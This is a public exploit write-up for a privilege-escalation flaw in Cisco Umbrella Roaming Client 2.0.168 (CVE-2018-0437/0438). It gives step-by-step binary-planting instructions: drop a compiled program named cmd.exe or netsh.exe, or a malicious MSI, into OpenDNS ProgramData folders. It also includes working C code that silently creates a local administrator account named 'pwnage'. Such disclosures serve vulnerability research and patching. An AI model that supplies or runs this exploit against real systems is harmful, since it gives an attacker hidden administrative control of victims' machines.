Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation

/*
# Exploit Title: Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
# Date: 2018-04-06
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://www.opendns.com/
# Version: Umbrella Roaming Client (2.0.168)
# Tested on: Windows 10 Professional
# CVE : CVE-2018-0437 & CVE-2018-0438
# Cisco Bug: CSCvj61300
# Advisory Links:
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-priv
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-file-read
# https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvj61300
 
OpenDNS Umbrella Roaming Client (2.0.168) Binary Planting Privilege Escalation Exploit
 
Details:
Compile the following code and rename it to either netsh.exe or cmd.exe
and place the file in the "C:\ProgramData\OpenDNS\ERC\" directory. Restart the machine!
 
Affected Binary paths:
C:\ProgramData\OpenDNS\ERC\cmd.exe
C:\ProgramData\OpenDNS\ERC\netsh.exe
 
More Details:
Create malicious MSI file named RoamingClient_WIN_2.0.168.msi and place in
"C:\ProgramData\OpenDNS\ERC\Upgrades\" and restart the machine.
 
Tools Used:
ìAdvanced Installer 14.8" - Used to create the MSI
 
Code:
*/
 
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
    system("net user pwnage pwnage /add");
    system("net localgroup administrators pwnage /add");
    
    FILE * fp;
    int i;
    /* open the file for writing*/
    fp = fopen ("c:\\opendns_pwnage.txt","w");
 
    fprintf (fp, "OpenDNS has been Pwned... New user has been created as an admin!\nBrought to you by paragonsec @criticalstart");
 
    /* close the file*/
    fclose (fp);
    return 0;
}